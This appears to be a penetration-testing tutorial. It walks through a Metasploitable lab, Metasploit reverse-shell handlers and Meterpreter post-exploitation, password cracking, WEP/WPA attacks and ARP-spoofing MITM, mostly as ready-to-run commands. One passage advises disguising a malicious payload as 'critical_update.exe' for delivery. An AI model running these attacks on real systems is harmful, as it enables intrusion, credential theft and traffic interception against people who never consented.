Vulnerability Exploitation and Environment Configuration

To practice exploitation techniques safely, setting up a dedicated vulnerable environment is essential. Metasploitable 2 serves as a standard target machine. Download the Metasploitable 2 virtual disk image and create a new VirtualBox virtual machine. Select Linux as the operating system type and Ubuntu as the version. When prompted for a hard disk, choose the option to use an existing virtual hard drive file and select the downloaded VMDK file. After configuring the hardware settings, such as network adapters, boot the machine to deploy the vulnerable target.

Utilizing Metasploit Interfaces

The Metasploit Framework (MSF) is central to exploitation. While Armitage provides a graphical interface for visualizing targets and modules, the Metasploit Console (MSFconsole) remains the most flexible interface.

To launch the console:

msfconsole

Within the console, search for modules relevant to the target system. For instance, analyzing a specific service might involve searching for related auxiliary or exploit modules.

search type:exploit platform:linux

Once a target module is identified, configure the necessary parameters.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.5
set LPORT 4444
exploit

Post-Exploitation with Meterpreter

Upon successfully exploiting a vulnerability, a Meterpreter session allows for deep interaction with the compromised host. This injected payload facilitates data collection and privilege escalation.

Key Meterpreter commands include:

• sysinfo: Displays system information.
• hashdump: Extracts password hashes from the SAM database.
• keyscan_start, keyscan_dump, keyscan_stop: Manages keystroke logging.

To elevate privileges, Meterpreter can attempt to bypass User Account Control (UAC) and gain SYSTEM level access.

run post/windows/escalate/bypassuac
getsystem

Token impersonation is another technique to adopt the identity of another user on the system.

use incognito
list_tokens -u
impersonate_token DOMAIN\\Administrator

Social Engineering Attacks

The Social Engineering Toolkit (SET) automates the creation of convincing attack vectors. To launch SET, run the toolkit script from the terminal.

se-toolkit

Navigate the menu to select a social engineering attack, such as generating a malicious payload. The tool prompts for the payload type, the listening IP address (LHOST), and the file name. It is crucial to rename the generated executable to something non-suspicious, such as critical_update.exe, before delivering it to the target.

Password Cracking and Auditing

Password attacks are categorized into online (against active services) and offline (against captured hashes) attacks.

Online Attacks with Hydra

Hydra is a parallelized login cracker supporting numerous protocols. For example, to brute-force an SSH server:

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.15 -t 4

This command attempts to log in as root using passwords from a specified wordlist with four concurrent connections.

Offline Hash Cracking

Once hashes are obtained (e.g., via hashdump), tools like John the Ripper or Hashcat can decipher them. If the target hashes are Windows NTLM, John the Ripper syntax is:

john --format=NT hashes.txt

For high-performance cracking, Hashcat utilizes GPU resources. A mask attack targeting an eight-character password might look like this:

hashcat -m 1000 -a 3 hashes.txt ?l?l?l?l?d?d?d?d

Generating Wordlists with Crunch

Custom wordlists can be generated to match specific password policies using Crunch.

crunch 8 8 ABcdef123 -o custom_wordlist.txt

Wireless Network Penetration

Assessing wireless networks involves capturing the handshake or Initialization Vectors (IVs) to recover the Pre-Shared Key (PSK).

Aircrack-ng Suite

The process begins by enabling monitor mode on the wireless interface to capture raw packets.

airmon-ng start wlan0

Use airodump-ng to identify target networks (BSSIDs) and channels.

airodump-ng wlan0mon

To attack a WEP network, capture packets on the specific channel and BSSID, while injecting ARP packets to generate traffic.

airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon
aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

Once sufficient IVs are collected, crack the key.

aircrack-ng -b 00:11:22:33:44:55 capture.cap

For WPA/WPA2 networks, a de-authentication attack forces a client to reconnect, capturing the handshake.

aireplay-ng -0 5 -a 00:11:22:33:44:55 wlan0mon

Automated Wireless Hacking

Tools like Gerix WiFi Cracker automate the monitoring, capture, and cracking steps through a graphical interface. This involves setting the interface to monitor mode, scanning for networks, and executing the relevant WEP or WPA attacks from the 'Attack' tab.

Man-in-the-Middle (MITM) Attacks

ARP poisoning allows interception of traffic between a victim and the gateway. Edit the system configuration to enable IP forwarding.

echo 1 > /proc/sys/net/ipv4/ip_forward

Use Arpspoof to trick the victim machine into thinking the attacker is the gateway, and the gateway into thinking the attacker is the victim.

arpspoof -i wlan0 -t 10.0.0.15 10.0.0.1
arpspoof -i wlan0 -t 10.0.0.1 10.0.0.15

This redirects traffic through the attacker's machine, allowing for analysis with tools like Wireshark or Ettercap.